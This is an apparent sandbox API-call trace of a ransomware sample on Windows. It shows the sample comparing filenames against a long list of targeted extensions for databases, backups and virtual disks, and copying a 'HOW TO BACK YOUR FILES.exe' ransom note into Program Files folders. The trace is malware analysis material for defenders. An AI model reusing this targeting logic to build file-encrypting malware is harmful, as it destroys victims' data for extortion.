	[0052.294] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0052.294] lstrlenW (lpString="owc") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0052.294] lstrlenW (lpString="p96") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0052.294] lstrlenW (lpString="p97") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0052.294] lstrlenW (lpString="pan") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0052.294] lstrlenW (lpString="pdb") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0052.294] lstrlenW (lpString="pdm") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0052.294] lstrlenW (lpString="pnz") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0052.294] lstrlenW (lpString="qry") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0052.294] lstrlenW (lpString="qvd") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0052.294] lstrlenW (lpString="rbf") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0052.294] lstrlenW (lpString="rctd") returned 4
	[0052.294] lstrcmpiW (lpString1="r.js", lpString2="rctd") returned -1
	[0052.294] lstrlenW (lpString="rod") returned 3
	[0052.294] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0052.294] lstrlenW (lpString="rodx") returned 4
	[0052.294] lstrcmpiW (lpString1="r.js", lpString2="rodx") returned -1
	[0052.294] lstrlenW (lpString="rpd") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0052.295] lstrlenW (lpString="rsd") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0052.295] lstrlenW (lpString="sas7bdat") returned 8
	[0052.295] lstrcmpiW (lpString1="endar.js", lpString2="sas7bdat") returned -1
	[0052.295] lstrlenW (lpString="sbf") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0052.295] lstrlenW (lpString="scx") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0052.295] lstrlenW (lpString="sdb") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0052.295] lstrlenW (lpString="sdc") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0052.295] lstrlenW (lpString="sdf") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0052.295] lstrlenW (lpString="sis") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0052.295] lstrlenW (lpString="spq") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0052.295] lstrlenW (lpString="te") returned 2
	[0052.295] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0052.295] lstrlenW (lpString="teacher") returned 7
	[0052.295] lstrcmpiW (lpString1="ndar.js", lpString2="teacher") returned -1
	[0052.295] lstrlenW (lpString="tmd") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0052.295] lstrlenW (lpString="tps") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0052.295] lstrlenW (lpString="trc") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0052.295] lstrlenW (lpString="trc") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0052.295] lstrlenW (lpString="trm") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0052.295] lstrlenW (lpString="udb") returned 3
	[0052.295] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0052.295] lstrlenW (lpString="udl") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0052.296] lstrlenW (lpString="usr") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0052.296] lstrlenW (lpString="v12") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0052.296] lstrlenW (lpString="vis") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0052.296] lstrlenW (lpString="vpd") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0052.296] lstrlenW (lpString="vvv") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0052.296] lstrlenW (lpString="wdb") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0052.296] lstrlenW (lpString="wmdb") returned 4
	[0052.296] lstrcmpiW (lpString1="r.js", lpString2="wmdb") returned -1
	[0052.296] lstrlenW (lpString="wrk") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0052.296] lstrlenW (lpString="xdb") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0052.296] lstrlenW (lpString="xld") returned 3
	[0052.296] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0052.296] lstrlenW (lpString="xmlff") returned 5
	[0052.296] lstrcmpiW (lpString1="ar.js", lpString2="xmlff") returned -1
	[0052.296] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373c9390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x373c9390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.296] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.296] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373c9390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x373c9390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.296] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.296] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0052.296] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css"
	[0052.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0052.296] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned 72
	[0052.296] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css"
	[0052.297] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.297] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.301] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.301] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373ef4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373ef4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.301] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.301] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.301] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.301] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373ef4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373ef4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.301] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.301] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.301] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.301] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.301] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1
	[0052.301] lstrcmpiW (lpString1="calendar.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.301] lstrcmpiW (lpString1="calendar.css", lpString2="Apollon865.txt.exe") returned 1
	[0052.301] lstrcmpiW (lpString1="calendar.css", lpString2=".") returned 1
	[0052.301] lstrcmpiW (lpString1="calendar.css", lpString2="..") returned 1
	[0052.301] lstrcmpiW (lpString1="calendar.css", lpString2="windows") returned -1
	[0052.301] lstrcmpiW (lpString1="calendar.css", lpString2="bootmgr") returned 1
	[0052.301] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="calendar.css" | out: lpString1="calendar.css") returned="calendar.css"
	[0052.301] lstrlenW (lpString="calendar.css") returned 12
	[0052.301] lstrlenW (lpString="Apollon865") returned 10
	[0052.301] lstrcmpiW (lpString1="lendar.css", lpString2="Apollon865") returned 1
	[0052.302] lstrlenW (lpString=".dll") returned 4
	[0052.302] lstrcmpiW (lpString1="calendar.css", lpString2=".dll") returned 1
	[0052.302] lstrlenW (lpString=".lnk") returned 4
	[0052.302] lstrcmpiW (lpString1="calendar.css", lpString2=".lnk") returned 1
	[0052.302] lstrlenW (lpString=".ini") returned 4
	[0052.302] lstrcmpiW (lpString1="calendar.css", lpString2=".ini") returned 1
	[0052.302] lstrlenW (lpString=".sys") returned 4
	[0052.302] lstrcmpiW (lpString1="calendar.css", lpString2=".sys") returned 1
	[0052.302] lstrlenW (lpString="calendar.css") returned 12
	[0052.302] lstrlenW (lpString="bak") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="bak") returned 1
	[0052.302] lstrlenW (lpString="ba_") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="ba_") returned 1
	[0052.302] lstrlenW (lpString="dbb") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="dbb") returned -1
	[0052.302] lstrlenW (lpString="vmdk") returned 4
	[0052.302] lstrcmpiW (lpString1=".css", lpString2="vmdk") returned -1
	[0052.302] lstrlenW (lpString="rar") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="rar") returned -1
	[0052.302] lstrlenW (lpString="zip") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="zip") returned -1
	[0052.302] lstrlenW (lpString="tgz") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="tgz") returned -1
	[0052.302] lstrlenW (lpString="vbox") returned 4
	[0052.302] lstrcmpiW (lpString1=".css", lpString2="vbox") returned -1
	[0052.302] lstrlenW (lpString="vdi") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="vdi") returned -1
	[0052.302] lstrlenW (lpString="vhd") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="vhd") returned -1
	[0052.302] lstrlenW (lpString="vhdx") returned 4
	[0052.302] lstrcmpiW (lpString1=".css", lpString2="vhdx") returned -1
	[0052.302] lstrlenW (lpString="avhd") returned 4
	[0052.302] lstrcmpiW (lpString1=".css", lpString2="avhd") returned -1
	[0052.302] lstrlenW (lpString="db") returned 2
	[0052.302] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0052.302] lstrlenW (lpString="db2") returned 3
	[0052.302] lstrcmpiW (lpString1="css", lpString2="db2") returned -1
	[0052.303] lstrlenW (lpString="db3") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="db3") returned -1
	[0052.303] lstrlenW (lpString="dbf") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="dbf") returned -1
	[0052.303] lstrlenW (lpString="mdf") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="mdf") returned -1
	[0052.303] lstrlenW (lpString="mdb") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="mdb") returned -1
	[0052.303] lstrlenW (lpString="sql") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="sql") returned -1
	[0052.303] lstrlenW (lpString="sqlite") returned 6
	[0052.303] lstrcmpiW (lpString1="ar.css", lpString2="sqlite") returned -1
	[0052.303] lstrlenW (lpString="sqlite3") returned 7
	[0052.303] lstrcmpiW (lpString1="dar.css", lpString2="sqlite3") returned -1
	[0052.303] lstrlenW (lpString="sqlitedb") returned 8
	[0052.303] lstrcmpiW (lpString1="ndar.css", lpString2="sqlitedb") returned -1
	[0052.303] lstrlenW (lpString="xml") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="xml") returned -1
	[0052.303] lstrlenW (lpString="$er") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="$er") returned 1
	[0052.303] lstrlenW (lpString="4dd") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="4dd") returned 1
	[0052.303] lstrlenW (lpString="4dl") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="4dl") returned 1
	[0052.303] lstrlenW (lpString="^^^") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="^^^") returned 1
	[0052.303] lstrlenW (lpString="abs") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="abs") returned 1
	[0052.303] lstrlenW (lpString="abx") returned 3
	[0052.303] lstrcmpiW (lpString1="css", lpString2="abx") returned 1
	[0052.303] lstrlenW (lpString="accdb") returned 5
	[0052.303] lstrcmpiW (lpString1="r.css", lpString2="accdb") returned 1
	[0052.303] lstrlenW (lpString="accdc") returned 5
	[0052.303] lstrcmpiW (lpString1="r.css", lpString2="accdc") returned 1
	[0052.303] lstrlenW (lpString="accde") returned 5
	[0052.303] lstrcmpiW (lpString1="r.css", lpString2="accde") returned 1
	[0052.304] lstrlenW (lpString="accdr") returned 5
	[0052.304] lstrcmpiW (lpString1="r.css", lpString2="accdr") returned 1
	[0052.304] lstrlenW (lpString="accdt") returned 5
	[0052.304] lstrcmpiW (lpString1="r.css", lpString2="accdt") returned 1
	[0052.304] lstrlenW (lpString="accdw") returned 5
	[0052.304] lstrcmpiW (lpString1="r.css", lpString2="accdw") returned 1
	[0052.304] lstrlenW (lpString="accft") returned 5
	[0052.304] lstrcmpiW (lpString1="r.css", lpString2="accft") returned 1
	[0052.304] lstrlenW (lpString="adb") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0052.304] lstrlenW (lpString="adb") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0052.304] lstrlenW (lpString="ade") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="ade") returned 1
	[0052.304] lstrlenW (lpString="adf") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="adf") returned 1
	[0052.304] lstrlenW (lpString="adn") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="adn") returned 1
	[0052.304] lstrlenW (lpString="adp") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="adp") returned 1
	[0052.304] lstrlenW (lpString="alf") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="alf") returned 1
	[0052.304] lstrlenW (lpString="ask") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="ask") returned 1
	[0052.304] lstrlenW (lpString="btr") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="btr") returned 1
	[0052.304] lstrlenW (lpString="cat") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="cat") returned 1
	[0052.304] lstrlenW (lpString="cdb") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="cdb") returned 1
	[0052.304] lstrlenW (lpString="ckp") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="ckp") returned 1
	[0052.304] lstrlenW (lpString="cma") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="cma") returned 1
	[0052.304] lstrlenW (lpString="cpd") returned 3
	[0052.304] lstrcmpiW (lpString1="css", lpString2="cpd") returned 1
	[0052.305] lstrlenW (lpString="dacpac") returned 6
	[0052.305] lstrcmpiW (lpString1="ar.css", lpString2="dacpac") returned -1
	[0052.305] lstrlenW (lpString="dad") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dad") returned -1
	[0052.305] lstrlenW (lpString="dadiagrams") returned 10
	[0052.305] lstrcmpiW (lpString1="lendar.css", lpString2="dadiagrams") returned 1
	[0052.305] lstrlenW (lpString="daschema") returned 8
	[0052.305] lstrcmpiW (lpString1="ndar.css", lpString2="daschema") returned 1
	[0052.305] lstrlenW (lpString="db-journal") returned 10
	[0052.305] lstrcmpiW (lpString1="lendar.css", lpString2="db-journal") returned 1
	[0052.305] lstrlenW (lpString="db-shm") returned 6
	[0052.305] lstrcmpiW (lpString1="ar.css", lpString2="db-shm") returned -1
	[0052.305] lstrlenW (lpString="db-wal") returned 6
	[0052.305] lstrcmpiW (lpString1="ar.css", lpString2="db-wal") returned -1
	[0052.305] lstrlenW (lpString="dbc") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dbc") returned -1
	[0052.305] lstrlenW (lpString="dbs") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dbs") returned -1
	[0052.305] lstrlenW (lpString="dbt") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dbt") returned -1
	[0052.305] lstrlenW (lpString="dbv") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dbv") returned -1
	[0052.305] lstrlenW (lpString="dbx") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dbx") returned -1
	[0052.305] lstrlenW (lpString="dcb") returned 3
	[0052.305] lstrcmpiW (lpString1="css", lpString2="dcb") returned -1
	[0052.305] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\en-US"
	[0052.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0052.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0052.305] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned 44
	[0052.305] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\en-US"
	[0052.305] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.306] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.310] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373ef4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373ef4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.310] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.310] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="sbdrop.dll.mui" | out: lpString1="sbdrop.dll.mui") returned="sbdrop.dll.mui"
	[0052.310] lstrlenW (lpString="sbdrop.dll.mui") returned 14
	[0052.310] lstrlenW (lpString="Apollon865") returned 10
	[0052.310] lstrcmpiW (lpString1="op.dll.mui", lpString2="Apollon865") returned 1
	[0052.310] lstrlenW (lpString=".dll") returned 4
	[0052.310] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".dll") returned 1
	[0052.310] lstrlenW (lpString=".lnk") returned 4
	[0052.310] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".lnk") returned 1
	[0052.310] lstrlenW (lpString=".ini") returned 4
	[0052.310] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".ini") returned 1
	[0052.311] lstrlenW (lpString=".sys") returned 4
	[0052.311] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".sys") returned 1
	[0052.311] lstrlenW (lpString="sbdrop.dll.mui") returned 14
	[0052.311] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Sidebar.exe.mui" | out: lpString1="Sidebar.exe.mui") returned="Sidebar.exe.mui"
	[0052.311] lstrlenW (lpString="Sidebar.exe.mui") returned 15
	[0052.311] lstrlenW (lpString="Apollon865") returned 10
	[0052.311] lstrcmpiW (lpString1="ar.exe.mui", lpString2="Apollon865") returned 1
	[0052.311] lstrlenW (lpString=".dll") returned 4
	[0052.311] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".dll") returned 1
	[0052.311] lstrlenW (lpString=".lnk") returned 4
	[0052.311] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".lnk") returned 1
	[0052.311] lstrlenW (lpString=".ini") returned 4
	[0052.311] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".ini") returned 1
	[0052.311] lstrlenW (lpString=".sys") returned 4
	[0052.311] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".sys") returned 1
	[0052.311] lstrlenW (lpString="Sidebar.exe.mui") returned 15
	[0052.311] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Portable Devices", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices"
	[0052.311] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0052.311] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0052.311] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Portable Devices") returned 47
	[0052.311] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Portable Devices" | out: lpString1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices"
	[0052.311] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.311] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.315] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.315] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37415650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37415650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.315] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.315] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.315] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll"
	[0052.315] lstrlenW (lpString="sqmapi.dll") returned 10
	[0052.315] lstrlenW (lpString="Apollon865") returned 10
	[0052.315] lstrlenW (lpString=".dll") returned 4
	[0052.315] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".dll") returned 1
	[0052.315] lstrlenW (lpString=".lnk") returned 4
	[0052.315] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".lnk") returned 1
	[0052.316] lstrlenW (lpString=".ini") returned 4
	[0052.316] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".ini") returned 1
	[0052.316] lstrlenW (lpString=".sys") returned 4
	[0052.316] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".sys") returned 1
	[0052.316] lstrlenW (lpString="sqmapi.dll") returned 10
	[0052.316] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Photo Viewer", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer"
	[0052.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0052.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0052.316] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer") returned 43
